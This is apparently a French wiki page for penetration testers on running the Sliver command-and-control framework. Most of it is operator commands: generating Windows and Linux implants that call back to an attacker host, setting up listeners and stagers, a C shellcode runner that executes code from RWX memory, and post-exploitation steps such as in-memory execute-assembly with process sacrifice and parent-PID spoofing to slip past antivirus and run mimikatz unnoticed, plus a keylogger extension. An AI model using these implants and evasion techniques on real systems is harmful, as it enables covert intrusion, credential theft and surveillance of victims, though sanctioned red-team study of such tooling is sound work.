[Exploitation/Réseau] Sliver C2

Introduction

Sliver C2 est un framework de commande et contrôle qui ressemble un peu à Metasploit.

Il présente des fonctionnalités interéssantes d'obfuscation et des modules permettant de faire de la post-exploitation.

Fonctionnant en mode **client-serveur**, vous pouvez démarrer un serveur sur un VPS accessible depuis Internet et utiliser le client pour vous connecter sur votre compte d'opérateur, ce qui permet de travailler en équipe.

Vous pouvez aussi travailler directement sur le serveur si vous le souhaitez, ce qui est l'option la plus simple selon moi.

Source

- Documentation officielle - Sliver

Installation

Linux

Vous pouvez installer Sliver simplement avec la commande suivante pour la plupart des distributions Linux :

```
curl https://sliver.sh/install | sudo bash
```

Compiler depuis les sources

Cependant, vous aurez peut-être besoin de compiler vous même, notamment si vous travailler dans des environnement spécifiques tels que **Exegol** :

```
git clone https://github.com/BishopFox/sliver.git && cd sliver && git checkout tags/v1.5.39 && make
```

Implants

Il existe deux types d'implant (Agent C2) dans Sliver :

- Les **sessions** (utilisent une connexion réseau permanente ce qui permet d'exécuter des commandes et de recevoir le résultat immédiatement). Ils sont très pratiques mais suspects.
- Les **beacons** (utilisent une connexion réseau temporaire qui est réinitialiser par interval). Les commandes ne sont pas exécutées immédiatement mais ce type de connexion permet d'être assez discret.

Générer un implant de session mtls

Version **Windows** :

```
generate <TYPE> <LHOST>:<LPORT> --save <FILE_NAME>.exe
```

Version **Linux** :

```
generate <TYPE> <LHOST>:<LPORT> --os linux --save <FILE_NAME>
```

Générer un implant de session wireguard

```
generate -g <LHOST>:<LPORT> --save <FILE_NAME>.exe
```

Générer un implant de beacon

```
generate beacon <TYPE> <LHOST>:<LPORT> --save <FILE_NAME>.exe --seconds <TIME> --jitter <TIME>
```

> Après le flag **--seconds** vous devez indiquer le délai entre chaque reconnexion.

> Après le flag **--jitter** vous devez renseigner un délai de temps aléatoire. Par exemple, si le flag --seconds est définit à 3 et que le flag --jitter est définit à 1, une reconnexion sera effectuée de manière aléatoire toutes les 3 ou 4 secondes.

Types d'implants

Types	Descriptions
--mtls	Utilise une connexion chiffrée de type mTLS.
-g	Utilise une connexion Wireguard.
--http	Utilise une connexion HTTP.
--https	Utilise une connexion HTTPS.
--dns	Utilise une connexion DNS.

Convertir un beacon en session

```
interactive
```

Listeners

Lancer un listener mTLS

```
mtls -l <LPORT>
```

> Le port par défaut de mTLS est le **8888**.

Lancer un listener Wireguard

```
wg -l <LPORT>
```

> Le port par défaut du listener Wireguard est le **53**.

Lancer un listener HTTP

```
http -l <LPORT>
```

> Le port par défaut du listener HTTP est le **80**.

Lancer un listener HTTPS

```
https -l <LPORT>
```

> Le port par défaut du listener HTTPS est le **443**.

Lancer un listener DNS

```
dns -d <FQDN>
```

> Le port par défaut du listener DNS est le **53**.

> Le champs **<FQDN>** doit être remplacé par le nom de domaine qui pointe sur votre serveur C2.

Afficher les sessions actives

```
sessions
```

Terminer une session

```
sessions -k <ID>
```

Afficher les beacons actifs

```
beacons
```

Se connecter à une session ou un beacon

Après avoir récupéré l'ID de l'implant, vous pouvez vous connecter dessus pour effectuer des actions :

```
use <ID>
```

Profiles

Sliver propose de créer des profiles pour sauvegarder une configuration d'implant que vous pourrez utiliser par la suite.

Créer un profil

```
profiles new --mtls <LHOST>:<LPORT> --os windows --arch amd64 --format exe <NAME>
```

> Vous pouvez bien sûr, changer le type d'implant, l'OS cible, l'architecture etc.

Vous pouvez aussi créer un profil de beacon :

```
profiles new beacon --mtls <LHOST>:<LPORT> --os windows --arch amd64 --format exe --seconds 5 --jitter 3 <NAME>
```

Afficher les profiles / implants

```
implants
```

Stagers

Les stagers sont des implants légers qui permettent d'injecter des shellcodes.

Génération du profil

```
profiles new <TYPE> <LHOST>:<LPORT> --format shellcode --arch amd64 win64
```

Lancement du listener

```
mtls
```

Lancement du stager-listener

```
stage-listener --url tcp://<IP>:<PORT> --profile win64
```

Génération du stager

```
generate stager --lhost <LHOST> --lport <LPORT> --arch amd64 --format c --save <PATH>
```

Création du runner

Le runner va être le code capable de lancer le shellcode généré précédemment.

```
#include "windows.h"

int main()
{
    unsigned char shellcode[] =
    "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
    "\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
    ...
    "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
    "\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff"
    "\xd5";



    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();

    return 0;
```

```
}
```

> Vous pouvez créer un runner un peu plus complexe pour faire de l'évasion AV/EDR en utilisant diverses techniques.

Vous pouvez le compiler :

```
x86_64-w64-mingw32-gcc -o runner.exe runner.c
```

Custom stager

Vous pouvez créer vos propres stagers, from-scratch, pour faire de l'évasion AV/EDR ou simplement pour le fun.

La documentation de Sliver donne des pistes pour vous lancer dans cette aventure :

- https://github.com/BishopFox/sliver/wiki/Stagers#custom-stagers

Post-exploitation

Execute-assembly

Cette fonctionnalité permet d'exécuter des applications **.NET** au format .exe ou .dll directement en mémoire sans jamais écrire de fichier sur le disque.

Cela peut-être utile pour contourner la protection antivirus ou pour vous camoufler.

De cette manière vous pourriez exécuter des programmes comme mimikatz ou autre sur la machine victime en passant inaperçu.

Tout d'abord, assurez-vous d'avoir un implant fonctionnel et lancez la commande suivante :

```
execute-assembly --ppid <PID> --process calc.exe --loot --name <NAME> <PATH_TO_EXE_OR_DLL> -group=All
```

> Le champs **<PID>** doit être remplacé par le process ID d'un processus légitime en cours d'exécution.

> Vous pouvez utiliser la commande **ps** pour récupérer la liste des processus avec leur PID.

>

> Ici, le processus sacrifié sera la calculatrice (calc.exe) et son processus parent sera celui désigné par le PID.

> Le fait d'injecter dans un programme existant peut le faire planter, c'est pourquoi il existe une autre méthode décrite après.

L'option **--loot** permet de sauvegarder la sortie standard du programme en base de donnée sur le serveur afin de pouvoir l'afficher plus tard grâce à la commande suivante :

```
loot fetch
```

> Le nom du loot à sélectionner vous sera demandé. Vous pouvez le récupérer grâce à la commande **loot**.

Vous pouvez aussi choisir de ne pas sacrifier un processus grâce à l'option **--in-process** :

```
execute-assembly --in-process --loot --name <NAME> <PATH_TO_EXE_OR_DLL> -group=user
```

Vous pouvez retrouver plus d'informations sur la fonctionnalité execute-assembly :

- https://dominicbreuker.com/post/learning_sliver_c2_09_execute_assembly/

Sideload

Cette fonctionnalité est très proche de la précédente mais permet d'exécuter à peu près n'importe quel type d'exécutable (PE) ou DLL.

Tout d'abord, assurez vous d'avoir un implant fonctionnel et lancez cette commande :

```
sideload <PATH_TO_EXE> [ARG1] [ARG2]
```

SpawnDLL

Cette fonctionnalité, similaire aux deux précédentes, permet d'injecter des DLL réflectives.

Elle est très puissante si l'application que vous voulez lancer est disponible dans ce format.

Voici la syntaxe :

```
spawndll <FILE>.dll
```

>

> Vous pouvez aussi injecter la dll dans un processus sacrifié grâce à l'option **--process <PID>** ou alors vous pouvez carrément spoofer le processus parent avec l'option **--ppid <PID>**.

Voici une liste d'outils au format reflective DLL que vous pouvez utiliser :

- Ps-Tools by Outflanknl - Énumération
- Tutoriel - Transformer Mimikatz en format reflective DLL

Extensions et aliases

Sliver propose des extensions pour ses modules ce qui permet d'étendre ses fonctionnalités.

SliverKeylogger

- https://github.com/trustedsec/SliverKeylogger

Armory

Il s'agit du gestionnaire d'extension et d'alias de Sliver. Il permet d'en installer de manière automatisée :

```
armory install <PKG>
```

Vous pouvez chercher une extension pour voir si elle est disponible :

```
armory search <PKG>
```

Vous pouvez retrouver la liste des extensions et alias disponibles sur ce repos Github :

- https://github.com/sliverarmory/armory/blob/master/armory.json

Créer vos propres alias

- Tutoriel - Créer un alias

Revision #16
Created 23 April 2024 09:03:15 by Elieroc
Updated 20 April 2025 14:39:10 by Elieroc